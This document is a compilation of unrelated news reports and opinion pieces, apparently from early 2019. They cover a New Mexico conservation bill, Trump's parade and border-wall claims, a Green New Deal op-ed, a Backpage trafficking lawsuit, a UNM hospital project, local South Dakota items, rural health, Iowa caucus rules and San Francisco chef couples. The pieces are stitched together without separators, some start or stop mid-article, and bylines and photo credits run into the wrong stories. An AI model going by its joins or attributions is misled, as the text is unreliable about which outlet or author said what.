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I am immensely gratified to see this vital bill become law, Udall said in a statement. (It) has been particularly vital for New Mexico, where it has invested over $312 million to help protect our most cherished public lands, spur job creation and fuel our $9.9 billion outdoor recreation economy, a key economic driver in the state that employs 99,000 New Mexicans.

The legislation is a paradoxical win for conservation at a time when President Donald Trump has promoted development on public lands and scaled back safeguards established by his predecessors.

The bill, which the Congressional Budget Office projects will save taxpayers $9 million, enjoys broad support in the House. The lower chamber is poised to take it up after the mid-February recess, and White House officials have indicated privately that the president will sign it.

The measure protects 1.3 million acres as wilderness, the nations most stringent protection that prohibits even roads and motorized vehicles. It permanently withdraws more than 370,000 acres of land from mining around two national parks, including Yellowstone, and permanently authorizes a program to spend offshore drilling revenue on conservation efforts.

Heinrich lauded the fact that it will create 273,000 acres of wilderness in New Mexico, most of it within the boundaries of two national monuments Trump threatened to shrink. In an interview, he noted that Republican and Democratic supporters stuck together to defeat hostile amendments.

Thats been much more rare in recent years, he said.

Authorization for the popular program, the Land and Water Conservation Fund, lapsed months ago due to the partial government shutdown and other disputes. Liberals like the fact that the money allows agencies to set aside land for wildlife habitat. Conservatives like the fact that taxpayers dont have to foot the bill for it.

Journal staff contributed to this reportA scene from Trumps first parade as president. Photo: Pool/Getty Images

President Trump kicked off Tuesdays Cabinet meeting by announcing his desire to hold a Salute to America parade on the National Mall. Were thinking about doing, on the Fourth of July or thereabouts, a parade, a Salute to America parade, said Trump. I guess itd be really more of a gathering than a parade. Perhaps at the Lincoln Memorial  But were thinking about doing something that would, perhaps, become a tradition.

Unfortunately for the president, the National Park Service is already on top of that tradition, hosting an annual Fourth of July parade on Constitution Avenue, featuring marching bands, big balloons, and units from the armed forces  the sort of patriotic adornments that Trump was not able to secure for his absurdly expensive military parade scheduled for last year.

During the meeting, Trump said that acting Interior secretary David Bernhardt would helm the project, giving him a Fyre-like, six-month window to prepare for what would be a massive event. But, later in the day, an Interior department spokesperson gave CNN a statement that sounded like the type of encouragement a teacher might give to an ambitious kindergartner who will forget about the plan tomorrow: Salute to America is a great idea. We are working diligently to present the best options to the White House.

The presidents comment on Tuesday falls into the burgeoning category of Things Trump Has Proposed That Already Exist. In November 2018, upset by his presentation on CNN, Trump put forward the idea for a worldwide network to show the World the way we really are, apparently unaware of Voice of America, the government-funded media distributor founded during World War II to do just that. (In his defense, most of VOAs media output is consumed abroad.) In June 2017, Trump suggested a policy that bars immigrants from receiving welfare for their first five years as citizens  a law that has existed since 1996, as the Personal Responsibility and Work Opportunity Reconciliation Act. In April 2018, when China upped tariffs on agricultural commodities, Trump proposed subsidies for farmers, as if government aid to the industry didnt already number in the billions. And theres this classic: In February 2018, during a meeting in which Trump said violent media may be to blame for Americas blight of mass shootings, he suggested, Maybe they have to put a rating system in effect for movies and video games........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

WASHINGTON  Im in the middle of renovating a house, so its probably not surprising that when I started reading Rep. Alexandria Ocasio-Cortezs, D-N.Y., FAQ for a Green New Deal, published Thursday by NPR, I was immediately struck by a casual proposal to upgrade or replace every building in U.S. for state-of-the-art energy efficiency.

Homeowners tend to start renovations hoping to make their houses greener and more energy-efficient, if only for reasons of parsimony. They quickly discover that what they lightheartedly imagined to be a few minor upgrades are in fact massive expenses. All they wanted was energy-efficient windows, better insulation, a tankless water heater, a radiant system to replace their dry, noisy, inefficient HVAC and  dear God, did the contractor misplace a decimal point? Were updating a modest row house, not building Versailles!

Ceilings and walls must be removed, then replaced; fancy new equipment installed; ductwork rerouted; slabs perhaps broken and repoured; ancillary systems brought up to modern housing codes.

Yet Ocasio-Cortez, or someone in her office, apparently thought those repairs could be made to every building in the U.S. within a decade. And this is only one of the minor details of the plan; it barely merits more than a mention.

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Much of the FAQ is devoted to the showier stuff, the policy equivalent of gold plumbing fixtures and Calacatta marble walls: replacing air travel with high-speed rail; junking every automobile with an internal combustion engine; making affordable public transportation available to every single American  presumably including those who live hours from the nearest town?; replacing the electric grid with something smarter; meeting 100 percent of the power demand  through clean, renewable  energy sources; and  I swear Im not making this up  providing economic security to people who are unwilling to work. This, too, is supposed to happen within only a decade, or thereabouts.

Going by my experience at energy-efficiencizing, Id estimate that the Ocasio-Cortez plan would require the entire population of the U.S.  or at least those who arent unwilling to work  to drop whatever theyre doing and start training to become insulation installers, HVAC technicians, electricians, automotive engineers or demolition experts. But even a quarter of that effort doesnt really seem very practical. Nor politically enticing. The only historical operation even approaching such scale was the U.S. mobilization for World War II, and unfortunately for Green New Dealers, the coal industry probably wont cooperate by bombing Pearl Harbor.

The FAQ now seems to have been taken down and the actual measure introduced to Congress was slightly less exuberant. Notably, it makes a nod to the need for technological and economic feasibility. But its still rather breathtaking. If Obamacares architects had suggested that their plan included finding a universal cancer cure within 10 years, at a cost of only 15 cents a dose, youd kind of wonder about the people who drafted it.

But arguably Ocasio-Cortezs team wasnt really trying to put together a practical document. Rather, it articulates an ideal, one that we may never reach, but should at least strive for. And theres something appealing about that argument, because climate change is a pressing concern and, even if it werent, there would be ample reasons to want to obtain as much energy as possible from renewable sources.

Progressives frequently argue that getting to as much as possible requires setting goals that are out of reach. They call it shifting the Overton window, or widening the spectrum of plausible policy options, an idea broached in the 1990s by policy analyst Joseph P. Overton. The folk version: Ask for the stars, youll get the moon.

Fair enough. Sometimes, people and causes do lose out by being too timid. What the progressive window-shoppers forget is that they can also lose out by being over-aggressive.

A pedestrian example: Many people could do better, salary-wise, if they simply negotiated harder with potential employers. But few of them could do better by opening with a pugnacious demand for $1 million a year. Wild demands, unmoored from reality, dont increase what you ultimately take away from a negotiation; they are much more likely to end the negotiation abruptly when the other party concludes that youre crazy.

The Green New Deal is a nice vision of where the U.S. might try to go someday. But as an actual blueprint for the immediate future, its lunatic. And no matter how technically or morally sound your goals may be, as an opening political message, Were nuts! is neither efficient nor state-of-the-art........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

Copyright  2019 Albuquerque Journal

A woman who says she was sold for sex as a teenager is suing an Albuquerque motel and the now-closed Backpage website, alleging both businesses had a hand in allowing her to be trafficked.

The lawyers who filed the suit have already filed 20 similar ones in Texas, but this is the first in New Mexico. They say they are attempting to shine a light on the many different ways human trafficking is able to flourish.

And attorney Annie McAdams said her legal team doesnt intend to agree to a settlement.

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Our Jane Does were ones  the ones that we chose to file on  who are doing this for more than just money, she said. We are looking for a significant disruption in the status quo in the human trafficking and hospitality world.

Since January 2018, McAdams and her co-counsel David Harris have filed numerous cases alleging hotels, trucking companies and even Facebook facilitated sex trafficking or failed to recognize clear signs someone was being trafficked. They have also filed numerous suits against Backpage  a website known for advertising adult services.

Their first case will go to trial in April.

McAdams said their latest case, filed in 2nd Judicial District Court in Bernalillo County, involves a woman from a suburban area in Albuquerque whom they identify as Jane Doe #17.

She said that when the woman was 17, she fell in love with a man who said he was her boyfriend and then trafficked her at different locations around the city from 2013 to 2014.

One of those locations was the Midtown Motel 6 on University NE near the Big I.

The suit alleges the motel had a duty to exercise reasonable care in discovering that the danger of human trafficking as well as the trafficking of Jane Doe #17 occurred or was likely to occur at the Subject Motel.

It says the motel failed to properly train staff to look for signs of human trafficking, failed to prevent traffickers from renting a room and didnt install security devices that could have helped deter or identify human traffickers.

The evidence is pretty strong (for) that hotel knowing what was going on due to the frequency of the visitors to the room, McAdams said. As well as that, she was a minor and was brought on the premises by somebody that didnt register a guest.

Motel 6 did not respond to questions or requests for comment.

The same motel made headlines in 2017 when a man was shot to death in one of the rooms because of his alleged connections to a sex trafficking ring.

Federal authorities said 39-year-old Daryl Young had been killed by a hitman who was hired by a married couple running a sex trafficking ring. Authorities said Young and trafficking victim Tobi Stanfill were killed at the direction of Cornelius Galloway because their activities were contrary to the objectives of the criminal sex trafficking organization.

Their case is pending in federal court.

Much of Galloways business relied on posting advertisements on backpage.com, according to court records.

Jane Does lawsuit states that Backpage would sanitize advertisements, taking out words that would point to underage sex trafficking, like Lolita, school girl, innocent and amber alert.

Backpage was aware that Backpages website was used for the advertisement and sale of young women, including Jane Doe #17, for sexual exploitation, the suit states. Despite this knowledge, Backpage refused to take reasonable steps to prevent the trafficking of Jane Doe #17 and other similarly situated young women.

The website was shut down in April after Congress passed legislation aimed at making it easier to prosecute websites for advertising human trafficking.

Its CEO, Carl Ferrer, pleaded guilty to conspiracy to facilitate prostitution and to engaging in money laundering.

Seven other officials were charged in federal court and their cases are still pending, according to online court records.

But McAdams said the story isnt over. The lawsuit seeks compensation for medical expenses, non-medical expenses, pain and suffering, attorney fees and more.

There are still extraordinary harms and losses caused to this population, and Backpage should be held accountable, she said. So we have not ceased our efforts against them........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

The University of New Mexicos long-time mission to build a modern medical facility got back on track on Tuesday after regents voted to proceed with program management services and architectural design planning. Its a significant step forward for a project that has seen speed bumps along the way.

Regents approved a $6.8 million contract with Austin-based Broaddus & Associates for construction management services and a $33.9 million bid with Omaha, Nebraska-based HDR Architecture Inc. and home-grown FBT Architects to provide schematic designs and construction documents. Planning is expected to take 12 to 18 months.

UNMH administrators have hoped for some time to address chronic capacity challenges by building a new facility. The recent availability of the UNMs physics building on 6.7 acres located west of the hospital on Lomas NE may have provided the spark needed to allow the project to move forward.

Plans call for building a 48-bed addition to the current hospital that would include an adult emergency facility, pre-op and surgical suites and inpatient care rooms, according to Mike Chicarelli, the hospitals COO.

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An example of capacity needs, Chicarelli told regents the standard today is to build one and a half to two pre-op bays for every operating suite. UNMH has 16 operating rooms, but only five bays in the pre-op suite.

Its a choke point in the system, Chicarelli told regents. We can bring people in and get them ready, but it does slow down the operating room efficiency significantly.

Chicarelli also told regents that hallways in the main operating room areas are typically lined with equipment due to lack of storage. He also showed pictures of operating rooms that are too small for modern needs.

Kate Becker, UNM Hospitals CEO, told regents the project would receive funding from the UNM Hospital Capital Initiative, which sits at about $203 million, or HUD guaranteed financing. The estimated cost of the project is about $400 million.

Dr. Paul Roth, chancellor of the Health Sciences Center, told regents bed shortages force UNMH, the states only Level 1 trauma center, to deny 1,000 patient transfers from other hospitals around the state each year.

Project delays included a 96-bed proposal that died at the state Board of Finance in 2012, when the Gov. Susana Martinez-led panel never held a vote on it. UNM introduced a 120-bed proposal in 2017, and regents voted to allow the university to proceed with design. But Roth said the university should at least consider some expansion alternatives, including an addition to the existing hospital.

There had been a delay because we were revising a lot of the original premises, Roth told regents.  We wanted to be inclusive with the medical staff.  It has taken us longer than we thought........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

ALBUQUERQUE, N.M.  The man who police say killed himself with a homemade bomb behind a West Central shopping center last week was a veteran who had been living in and around Albuquerque for at least the past couple of years, according to court documents.

Gregory Shewmake, 32, had a couple of prior arrests for drug possession and property crimes, and court documents indicate he had been told to seek treatment for substance abuse. He had not been charged with any violent crimes in New Mexico, online court documents show.

His wife declined an interview with the Journal and other family members could not be reached.

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It was unclear when and where Shewmake served in the military, but court records show he was ordered to be admitted into a residential treatment program at the Veterans Affairs Medical Center for substance abuse.

According to a criminal complaint filed in Sandoval County, his wife told police he was addicted to heroin, was using when he was supposed to be caring for their child and was possibly hanging out at a drug house in Albuquerque.

She said he was supposed to go to rehabilitation in late-2016 but, a short time later, he was arrested for reportedly helping a friend rob a Circle K. That case was pending.

On Feb. 4, a large explosion shook businesses and nearby homes at the Central and Coors shopping center.

First responders and officers quickly determined that one person had been killed by a homemade bomb next to a dumpster in the loading area behind the center. The dumpster and a surrounding wall were severely damaged.

No one else was injured.

Police say the preliminary investigation found the incident was an apparent suicide.

On Tuesday, Gilbert Gallegos, an Albuquerque police spokesman, identified the man involved as Shewmake, but did not provide any other details about the case.

In response to questions about the explosive device, he said police were still investigating.

As soon as we have more definitive information, we will provide details, Gallegos said.

Albuquerque Fire Rescue, the FBI, and the Bureau of Alcohol, Tobacco, Firearms and Explosives assisted with the investigation........... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ..........

ALBUQUERQUE, N.M.  New Mexico State Police has identified the person killed in a Friday crash at the Big I.

Jeanette M. Mares, 64, of Albuquerque died when for unknown reasons she lost control of her car and it rolled while traveling on westbound Intestate 40 going on the flyover to southbound Interstate 25.

Mares was ejected and sustained fatal injuries, State Police said in a news release issued Tuesday.

She died at the scene.

State Police said seat belts do not appear to have been used properly, and that alcohol does not appear to be contributing factor.

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Aberdeen News

Weve got to hand it to the Senate Transportation Committee for advancing Senate Bill 117 to consideration by the full chamber. They havent allowed impractical nativist bluster to get in the way of moving forward with a tweak to existing law that promises a measure of relief for the woes of our workforce-strapped state.

The bill as currently written would allow the state to administer drivers license written tests in Spanish. If passed, it would extend the exceptions to South Dakotas English-only law regarding any official public document or record of any official public meeting.

One of that 1995 bills authors told the Sioux Falls Argus Leader in 2017 that the law was never intended to prohibit administering written driving exams in other languages.

SB 117 would add drivers license tests to the list of exceptions to a South Dakota Law that identifies the common language of the state as English.

Existing exceptions include foreign language classes; instruction that helps students with limited English integrate into the education system; situations when criminal justice, public safety and health demand another language; and the conducting of international commerce, tourism and sporting events.

The bills proponents note that encouraging Spanish-speaking drivers to take the written exam in their first language will cut down on unlicensed drivers, improving road safety.

People who may have taken their exams in a different language in another state can already transfer their drivers licenses to South Dakota. We do not stop foreign-language visitors who may not be able to read the text on some road signs at our state borders.

Theres a reason that road signs incorporate less text and more in the way of viscerally recognizable colors and shapes. The less cognitive stress on drivers, the less likely theyll be involved in or cause an accident. The human brain processes graphical information more quickly and efficiently than written language.

So what do we stand to gain by not taking South Dakota off the lonely list of six remaining states that offer the written portion of their driver exams in English only?

The Sioux Falls and Rapid City chambers of commerce, along with representatives from the states construction and health industries, testified to the committee that the language restriction on drivers license testing negatively affects their ability to fill open job positions.

South Dakotas unemployment rate was at 2.9 percent in December, according to the Federal Reserve. That tight labor market means the state needs to do what it can to assist businesses within our borders in their increasingly desperate quest for employees.

More people able to work means businesses can expand, which means even more people can work. Those people can then spend and be taxed on what they spend, contributing to state coffers to fund the programs South Dakota needs.

The state Department of Public Safety argues that the $66,000 it would cost to implement SB 117 is too high for their department, even though the bill would not go into effect until 2021 to allow budgeting for it in next years legislative session. It makes this argument even though the state cant see gains without making smart investments.

Limiting our money management to pinching every penny does nothing to increase state revenues.

The department also insists that people have equal access to the drivers test and that it doesnt really see that theres an issue. That kind of willful denial of real-life concerns does nothing to improve South Dakotas future.

SB 117 isnt the only possible answer to the problem its meant to fix. Another solution senators have discussed is to implement an interpreter system similar to the courts program to accommodate even more languages, instead of only implementing a Spanish-language drivers test.

There are 35,000 Spanish speakers in South Dakota, and that number keeps growing. But so do the numbers of immigrants in our communities whose first language is something other than English.

Whatever solution the Legislature ultimately decides on concerning this matter, were encouraged by this tentative step toward crafting a pragmatic law that addresses a practical and pressing issue.Aberdeen News

Home rehabilitation grants aren't new for Homes Are Possible Inc., but this year the agency has received a grant that makes it possible to give larger awards.

The $15,000 to $17,000 grants are available to Aberdeen homeowners who are 62 and older and meet income and expense eligibility requirements.

Jeff Mitchell, HAPI executive director, said the grants are made possible through an award from the Federal Home Loan Bank of Des Moines, Iowa.

Mitchell said HAPI has previously been able to award $5,000 to $6,000, which might help address one issue on a house, like the need for new shingles, but wasn't enough to replace windows or fix foundation problems.

Mitchell said the funding will allow for 10 local grants, and residents are encouraged to apply immediately. For information, go to homesarepossible.org and select the housing assistance menu tab, call 605-225-4274 or visit the HAPI office at 320 S. Main St.Staff reports

Aberdeen News

Plenty of support and a little chili will be dished up at an appreciation and benefit event for area first responders.

The Aberdeen Area Chaplains Corps and Aberdeen Christian Fellowship will host the First Responder Appreciation and Benefit Chili Feed Fundraiser Feb. 22 from 5 to 8 p.m. at the church, 214 First Ave. S.E.

Proceeds will go to the Tarnowski family of Aberdeen. Kristi Tarnowski has been battling cancer since 2015. She is the wife of Aberdeen Police Department detective Tom Tarnowski. In December, the cancer had spread, and more medical treatments were needed, according to a release from the corps.

The (fundraiser) is an effort to appreciate our local first responders and also serve as a fundraiser to assist with Kristis medical bills, wrote the Rev. Jon Droege in an email.

He is the pastor at Aberdeen Christian Fellowship and a chaplain with the corps.

Included in this fundraiser will be a chili feed, special treats, drawings for appreciation gifts for first responders, plus a silent auction to help the Tarnowski family with their ongoing medical bills, Droege said.

First responders and immediate family can eat for free with a badge or uniform. Otherwise the chili is $10 per person, or $5 for children 10 and younger. To make a donation or to volunteer, call Droege at 605-380-2917 or Robert Begay at 605-730-2868.Aberdeen News

A Redfield man received a partially suspended prison sentence in Spink County in connection to the theft of gift cards from a local church and a vehicle from a school district.

Ozzie R. Birdsong, 33, pleaded guilty to felony burglary for stealing gift cards from Our Savior Lutheran Church in August 2017 and felony grand theft for stealing a 2005 Ford Taurus from Northwestern School District in September 2017.

He was sentenced to five years in prison with three years suspended and given credit for 71 days served on each count. Both sentences will be served concurrently. He was fined a total of $1,208 and ordered to pay $903 in restitution to the church and $1,725 in restitution to the school district.

In other court news:

Khari K. Kiefer, 25, of Aberdeen pleaded guilty to felony ingestion of methamphetamine and felony abuse or cruelty to a minor. She received a five-year suspended prison sentence and was placed on probation for five years on both charges. The probation terms will be served concurrently. She was also fined a total of $1,213.

Kiefer originally faced a host of charges that included felony possession and ingestion of methamphetamine, reckless driving, eluding, driving with a suspended license, aggravated assault using a vehicle, and two charges of abuse or cruelty to a minor.

Deputy States Attorney Jodi Brown said the two children were not injured, but they were not restrained in the vehicle at the time of the incident, and Kiefer was driving at a high rate of speed.Photo: Nicholas Kamm/AFP/Getty Images

Donald Trump ran for president promising to build a wall on the southern border that Mexico would pay for. For the first two years of his presidency, he focused mostly on priorities congressional Republicans cared about (tax cuts, health care, judicial confirmations) and forgot about the wall. At the end of last year, he suddenly realized he was about to lose control of Congress without getting the wall, and shut down the government in the hope that somehow it would lead to a wall. (It didnt.)

Now President Trump is revealing his fallback plan: pretend he succeeded.

The U.S.-Mexico border runs for nearly 2,000 miles. Early in his campaign, Trump conceded that natural barriers cover half that length. He inherited 654 miles of border fencing, and promised a wall covering a full 654 miles. This would mean upgrading most or all the additional fencing to wall status  making it taller, stronger, or wallier  and adding another 350 miles or so of new wall.

He has so far added zero to that total. Yet the wall was never a material infrastructure project, but instead a symbol of defiance and order. Trump is clearly signaling a new stage in which he is abandoning its physical manifestations and conjuring it into reality.

In his speech Monday night in El Paso, Trump responded to the familiar chants of build that wall! by assuring the crowd the project was well underway. Now, you really mean finish that wall, because weve built a lot of it. Its finish that wall. We have, he said. The walls being built. Itll continue. Its going at a rapid pace.

Much of the rest of his speech recycled old Trump material bemoaning the lack of a wall and the easy ability of drug traffickers to enter the country. But the shift to the new line was made apparent by the Finish the Wall banners flanking the president.

In a speech to police officers Wednesday, Trump elaborated on this imaginary wall. The wall is very very on its way, he promised. It is extremely tall  Youre gonna have to be in extremely good shape to get over this one, he informed his audience.

As time goes on, just as a childs imaginary friend becomes more elaborate and fully developed over time, the wall will surely acquire more specific attributes. It will be strong and powerful, beautiful yet forbidding, possibly even festooned with solar panels. In truth, nearly everybody who wanted to believe in the wall in the first place will believe it exists.

After all, Trump told us that without a wall, waves of violent criminals from Latin America would roam the countryside stealing, raping, and murdering honest Americans. Trumps fans will look around and see no such violence in their midst. It must mean Trump has built the wall.This was a small, close-knit community with modest homes, several manufacturing plants and a handful of downtown restaurants within an hour of downtown Louisville, Ky., he said.

"It fell on hard times -- lost some businesses, some jobs, property value dropped, people vacated the community and young people would just say, 'My only goal is to get out of here.' A lot of the talent left, the streets became littered with trash, and vacant properties grew," said Adams.

To curb the opioid epidemic that was plaguing Scott County, Adams had to form strategic partnerships with local stakeholders. He also called the CDC, the local hospital and the Indiana University School of Medicine, but they weren't at the top of his list.

"The first person I talked to was the local sheriff," said Adams. "The second person I talked to was the local faith-based leader, and the third person I talked to to solve this rural health crisis was (with) the local chamber of commerce."

The sheriff was worried about his officers getting stuck by syringes' needles, said Adams. "So I shared with him how syringe-service programs actually lower needle-stick injuries by 60 percent.

"I learned that faith-based leaders were worried about enabling drug use. So we shared with them that syringe-service programs done right actually connect people to care and are a pathway to recovery."

All the partners Adams pulled together helped determine an evidence-based approach that addressed everyone's concerns and gave the community a solution to overcome the HIV outbreak.

"I'm proud to say that we went from 200 cases to just five new cases last year. It was nothing short of miraculous," said Adams.

Health disparities is another hot button issue for this surgeon general -- who noted that just 20 percent of health is influenced by health care, and the other 80 percent by behavior.

"The fact is, we're not going to realize our goal of healthier communities until we recognize and partner to address the determinants that impact that 80 percent in addition to that 20 percent," Adams said. And a couple of factors that help give people the opportunity to make healthier choices are housing and education.

"I was talking to the kids in Scott County, and you know, the one thing that gave them hope was the chance that they would be able to go to college. As surgeon general, nothing I said about health meant as much to them as me saying, 'If you all need a recommendation for college, call me up and I'll be glad to write it.'"

Jobs are also a determinant of health. "Increasingly, hospitals, health care providers and health care institutions -- as well as mayors and businesses -- are beginning to recognize the value of investing in environment and community, and how that investment is driving not just health metrics, but economic prosperity.

"This is extremely important in rural communities where large businesses and anchor institutions often employ a majority of workers in those communities," said Adams.

He said when he speaks before legislative bodies, he often takes hospital CEOs with him, but not to talk about health care. "I want them to come forward and say, 'I employ 30 percent of the people in your community. I represent jobs.' Because far too often, business is pitted against health."

Adams said that by investing in community health and those upstream determinants of health, "we can improve the health of populations, bring our unsustainable health care costs under control and better ensure a more prosperous future for our businesses, communities, workers and for all Americans."

To that end, he told audience members that his office was working with the CDC to write a surgeon general's report on community health and economic prosperity.

He pointed out that too often, "we pat ourselves on the back for improving our health statistics but ignore the fact that our disparities are widening," especially in rural communities.

The urban centers get the bulk of resources because they have the population base. "The resources go the places that already have them," said Adams. "I want to speak not just to the coastlines, but to the heart and the center of our great nation."

Adams challenged those in the audience to make sure they have the right players on their team and to bring nontraditional partners and policymakers into their huddle.

"Better yet, go to their huddle. Fit into their team meetings and figure out what they're prioritizing."

Adams threw out the term "servant leadership" and then defined it.

"It means you succeed when others succeed. When you meet their needs, then they succeed, and their success becomes your success."

Adams continued. "There's this saying, 'People need to know that you care before they care that you know.' That's what I discovered in Scott County and what led to the success we've had there."

In closing, Adams urged those before him to be game changers and disrupters.

"Continue to share best practices, and know that you have no bigger advocate out there than the United States surgeon general. I will fight for you as long as I'm in this role."

Related AAFP News Coverage

Rural Health Policy Institute

Maintaining Maternity Care Vital to Rural Hospital Stability

(2/13/2019)

Rural Health Disparities Summit

Filling the Rural Gap With Good Recruiting, Telemedicine

(2/12/02019)Heres the time-honored look of the Iowa Democratic caucus. In 2020, a lot more will participate by mobile device. Photo: Michael B. Thomas/AFP/Getty Images

One of the by-products of the intensely competitive 2016 Democratic presidential nominating process was a batch of new national party rules governing future contests. Some, like the elimination of superdelegates as autonomous convention voters, were demanded by former Bernie Sanders supporters. Others, like making caucuses more open and transparent, came from elements in both the Sanders and Hillary Clinton camps.

This latter category of reforms was of particular concern to Democrats in Iowa, where any tampering with the sacred traditions of the first-in-the-nation caucus are frowned upon like restrictions on ethanol. But the Iowa Democratic Party sucked it up and developed some new procedures (they are still in draft form, and would have to be approved by the national party) that will most definitely make for a different event, with probable if hard-to-predict implications for the large 2020 presidential field assembling in the near distance.

Get your political fix. Get the Intelligencer newsletter, a political magazine that unfolds right in your inbox. Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us.

One big change made in response to national demands that caucuses allow for less restrictive participation is the establishment of virtual caucuses, allowing registered Democrats to hold their own caucuses via mobile devices on six specific dates immediately prior to the main event on February 3. Heres how Iowa activist Laura Belin explains the procedures:

Virtual caucus-goers will be able to indicate up to five choices for president.

Results from the call-in caucuses will be aggregated by congressional district, using a ranked choice process. The 15 percent viability threshold  an important part of the Iowa Democratic caucuses since the early 1970s  will be applied to results at the congressional district level.

So instead of taking an initial vote, determining nonviable candidates, and redistributing their support to others via physical grouping in the room, as occurs in the traditional caucus, participants in virtual caucuses will rank their five presidential favorites and a mechanical process of ranked-choice voting will redistribute votes for nonviable candidates. More controversially, 10 percent of the state delegate equivalents  the official measurement of winners and losers in the caucus  will be reserved for virtual caucus participants. That arbitrary number bothers some, though theres no way at this point to know what percentage of total caucus participants will choose the virtual option, and the tradition-minded state party would probably like to keep the number low.

Another reform that relates directly to a 2016 complaint by Sanders supporters requires tabulation and publication of the candidate preferences of caucus participation from the first round forward  the raw totals, not just the state delegate equivalents, as state party chairman Troy Price explained at a press conference:

The DNC rules require us to release more than just the state delegate equivalents on caucus night. Rather, we will now release the raw counts on the first alignment, the raw counts on the second alignment, and the state delegate equivalents earned by each campaign. But just to be clear: the apportionment of national convention delegates will be based only on the state delegate equivalents earned on caucus night. They will not be based off raw results.

The raw results will make recounts possible for the first time. And probably more importantly, candidates who didnt win the official state delegate equivalents count but did better in the raw results will have a new bragging/spin argument. It makes the Democratic caucus a bit more similar to the Republican version, which is really just a straw poll of participants without the gymnastics of viability thresholds and affinity groups.

For the purposes of the national journalists who will swarm Iowa in December of this year and January of 2020, the new rules will simply make a uniquely complex process even more complicated. And among insiders, it will be a test to see which campaigns seem to be prepared to take advantage of it all.The San Francisco restaurant world is filled with family-owned establishments, where one partner might run the front of house and another is a certified sommelier, and maybe a distant cousin runs the kitchen.

But did you know there are actually very few restaurants where both partners in a real life couple share kitchen duties in a restaurant they own together? We sat down with a trio of cooking couples to chat about love and restaurants. These power couplesfrom Nightbird, Lord Stanley, and Rich Tableshare the dish on how they found romance in a decidedly non-romantic profession and how they they make sure the pressure of restaurant life doesn't travel with them home.

Kim Alter and Ron Boyd, Nightbird Ron Boyd and Kim Alter, at their restaurant Nightbird. (Photography by Daniel Triassi) Kim Alter and Ron Boydowners of the Hayes Valley tasting menu destination Nightbird and its adjacent Art Decostyle bar, The Linden Roomhave never not worked together. The couple met at Elisabeth Danielthe now-closed Jackson Square collaboration between Elisabeth Ramsey and Daniel Patterson (the restaurant was located where Verjus now sits)and they've been cooking together ever since, at Aqua as well as at various Daniel Patterson Group restaurants before launching out on their own. These days, Alter says Nightbird gets about 80 percent of their attention (needy child much?): She cooks; he's the cocktail maestro; and together they ensure that the same philosophy comes across on the plate and in the glasses. The rest of their time is devoted to each other, family, friends, and their dog, of course.

7x7: Tell us about your first date. RB: "I think [my memory] is different from hers.....but whether you believe her story or mine, both took place in a bar."



7x7: When did lightning strike? KA: "He told me he loved me and always had at Mr. Bings, so..." RB: "For real, the first time we hung out."

7x7: What's the hardest thing in pulling off the working/romantic life? RB: "Time! Time for the business, time for us, and time apart. Just isn't enough to go around." KA: "Not wanting to murder each other."

7x7: What's your partner's best trait? KA: "Ron is very patienthe can put up with me as a chef and then as a woman. He always jokes, 'I don't want to talk to Chef Kim now, I want other Kim.' Ron is the best chef, he honestly is a mentor and I joke he is my blankie for when I am struggling."

7x7: If your partner was a song... RB: "If Kim was a song, i think she would be 'Against the Grain' by Bad Religion. If I was thinking of her, the song would be 'These Arms of Mine' by Otis Redding." KA: "'Murder City Devils I'll Come Running' or 'Try Me' by James Brownbut I always think of Otis Redding or The Smiths, what we listen to driving to Mendocino or something."

Sarah and Evan Rich, Rich Table Sarah and Evan Rich, of Rich Table. (Photography by Daniel Triassi) Sarah and Evan Rich may be best known these days for those iconic sardine chips at their Hayes Valley contemporary American standout, Rich Table, which earned its first Michelin star this year. But it was a labor-intensive baby pea sauce that lead to their first date. They were working the same station at Bouley, one of New York's most formal restaurants; she worked the early shift, he the late. Ever the prankster, Evan used to joke about dropping that pea sauce that Sarah had spent so much effort making. And then one day, he actually did drop the sauce too pissed off at this cute guy, Sarah asked him out. And the rest is restaurant history. Today, Evan (along with chef de cuisine Brandon Rice) runs the savory side of things at Rich Table; Sarah masters the desserts. And when they aren't jaunting between their namesake restaurant and their newer RT Rotisseries (a second is coming to the Lower Haight in spring 2019), the couple can be found hanging out with their four- and seven-year-old sons.

7x7: When did you realize she was the one? ER: "When she chased down, on foot, a car that rear-ended me in front of Queens Bridge projects at 4am one late night after work." SR: "There may not have been one specific moment, but I knew early on that I didn't want it to end."

7x7: How do you manage to balance married life at home and business-married life at the restaurants? SR: "It is definitely not easy, and some days are better than others. But the restaurant is our life, and not in a sad way. We really enjoy working together and talking shop. But we do try to make an effort to have actual time off together when we canto get away even for just one day to give ourselves and our family a break."

7x7: What's the hardest part of pulling off this lifestyle? ER: "Is this lifestyle hard? We don't know anything else." SR: "It is constant, you are never really truly off work. It is like having another childwe are never not thinking about the restaurant."

7x7: What's the best dish your partner makes? ER: "Sarah's cannelloni is the reason I married her." SR: "He makes really good rice dishes in our donabe. They are always very tasty and healthy and full of flavor."

7x7L If your partner was a candy or a song...

SR: "Sour Patch Kids. So many layers...sweet, sour, tart, colorful...and beloved by all." ER: "'Is this Love' by Bob Marleyour wedding song."

7x7: And you have kids too! How do you sleep? ER: "Oh, I sleep, Sarah usually deals with the kids. I work late, so she gets up early." SR: "What is this 'sleep' that you talk of?"Christopher J. Lee in Africa is a country:

I t is time to shift the geography of political tribalism in order to recognize the United States as a tribal society. This was the essence of the keynote speech given by Kwame Anthony Appiah at A Night of Philosophy and Ideas held at the Brooklyn Public Library on February 2, 2019. Though reading from a tablet, with his voice barely rising above the din of people still entering through the front doors, Appiahs message was clear: the terminology frequently, and often gratuitously, applied to politics in Africa and more specifically Ghana, his childhood home, should now be applied to his home in the US. His perspective wasnt entirely originalcommentators as different as Steven Pinker, David Brooks and Amy Chua have also denounced recent American politics for devolving into tribalism. But Appiahs views carried far more weight. Not only was this an instance of an African philosopher irreverently turning the tables of where tribalism exists in the world today, but here was an intellectual who could ground the issue in history. Tribalism in his lecture wasnt simply generic western-speak for the absence of political civility. Appiah drew from firsthand experience.

